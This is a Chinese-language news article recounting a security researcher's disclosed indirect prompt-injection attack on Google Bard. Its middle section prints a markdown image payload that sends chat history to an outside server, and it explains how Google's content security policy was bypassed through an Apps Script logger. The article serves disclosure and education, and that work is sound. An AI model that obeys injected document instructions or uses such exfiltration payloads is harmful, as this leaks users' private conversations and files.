大型语言模型在生成文本时非常依赖提示词。这种攻击技术对于通过提示词学习模型而言可谓是「以彼之矛,攻己之盾」,是最强长项,同时也是难以防范的软肋。
提示词分为系统指令和用户给出的指令,在自然语言中,这两者难以区分。如果用户有意在输入提示词时,模仿系统指令,那么模型可能在对话里透露一些只有它才知道的「秘密」。
提示注入攻击有多种形式,主要为直接提示注入和间接提示注入。直接提示注入指用户直接向模型输入恶意指令,试图引发意外或有害的行为。间接提示注入指攻击者将恶意指令注入到可能被模型检索或摄入的文档中,从而间接地控制或引导模型。
最近,谷歌 Bard 迎来了一波强大的更新,Bard 增加了拓展功能,支持访问 YouTube,搜索航班和酒店,还能查阅用户的个人文件和邮件。
除此之外,Bard 可以连接到「谷歌全家桶」,访问你的谷歌云盘、文档和邮件!但这同时意味着 Bard 将分析不受信任的数据,容易受间接提示注入的影响。也就是说,不怀好意的人可能通过向你发送电子邮件或强行分享谷歌文档进行间接的提示注入攻击,因为对方发什么样的邮件、文档给你,你是控制不了的,但 Bard 却会无差别访问。
在安全风险分析领域有着 20 年经验的前微软 Azure 安全工程师 Johann Rehberger 体验了 Bard 的全新版本,并测试了被提示注入攻击时,Bard 的数据泄漏风险。
原博客链接:https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/?continueFlag=53578cc8c5c0a6a19c571a1fa6bcab85
Johann 首先快速验证了提示注入的可行性。他通过让 Bard 分析旧的 YouTube 视频,并使用谷歌文档进行测试测试结果显示,Bard 确实按照他的额外提示进行了操作,这证明了接下来要进行的测试的可行性。
Bard 的漏洞:图像 Markdown 注入
在得知 Bard 可以被提示注入后,Johann 开始了进一步的研究。
LLM 应用中的一个常见漏洞是通过渲染超链接和图像来泄露聊天历史记录。问题是,这如何适用于谷歌 Bard?
当谷歌的大模型返回文本时,它可以返回 markdown 元素,Bard 将其呈现为 HTML! 这包括渲染图像的功能。
想象一下谷歌的大模型返回这样的文本:
![Data Exfiltration in Progress](https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION])
这将呈现为 HTML 图像标记,其 src 属性指向 attacker 服务器。
<img src="https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]">
浏览器会自动连接到 URL,无需用户交互即可加载图片。借助 LLM 的强大功能,我们可以在聊天上下文中总结或访问以前的数据,并将其相应地附加到 URL 中。
在编写漏洞利用程序时,Johann 很快就开发出了一个提示注入有效载荷,它可以读取对话的历史记录,并形成一个包含该历史记录的超链接。然而,谷歌的内容安全策略(CSP)阻止了图像的渲染。这对攻击者来说是一个难题。
绕过内容安全策略
要从攻击者控制的服务器渲染图片,并不容易。谷歌的内容安全策略阻止从任意源加载图片。CSP 包含诸如 *.google.com 和 *.googleusercontent.com 之类的源,相当广泛。这意味着应该能找到一种绕过方法。
研究后,Johann 得知了 Google Apps Script,这或许可以绕过 CSP 。
Apps Scripts 类似于 Office 里的宏,可以通过 URL 调用,在 script.google.com(或 googleusercontent.com)域上运行。
如此一来,Bard Logger 可以在 Apps Script 中完成了。这个 Logger 将所有附加到调用 URL 的查询参数写入一个 Google Doc,而它正是外泄的目的地。
起初,Johann 以为这个方法并不可行,但他发现点击了几下 Apps Script 用户界面后,他找到了一个无需验证的设置。
接下来,一切准备工作就绪:
- 确认了谷歌 Bard 易受通过扩展程序数据间接注入提示的影响
- 谷歌 Bard 有允许零点击渲染图片的漏洞
- 一个写有提示注入指令的恶意谷歌文档
- 一个位于 google.com 上的日志端点,用于在图像加载时接收数据。
泄露过程
Johann 提供了他让 Bard 泄露数据的全过程。
原视频链接:https://www.youtube.com/watch?v=CKAED_jRaxw&t=4s
首先,和 Bard 先聊一些日常:
攻击者通过 Apps Script 中的脚本将数据接收到谷歌文档。
以下是 Johann 用于「提示注入」的谷歌文档:
谷歌的修复
这个安全问题已经于 2023 年 9 月 19 日报告给 Google VRP。
10 月 19 日,Johann 想要在 Ekoparty 2023 中进行演示,所以询问了关于这个漏洞的情况。Google 确认已经修复。目前还不太清楚谷歌采取了何种修复措施。但 CSP 没有修改,仍然可以渲染图像。因此,这可能是已经采取了一些过滤措施,以防止将数据插入到 URL 中。
参考链接:
https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/?continueFlag=53578cc8c5c0a6a19c571a1fa6bcab85
https://www.youtube.com/watch?v=CKAED_jRaxw&t=4s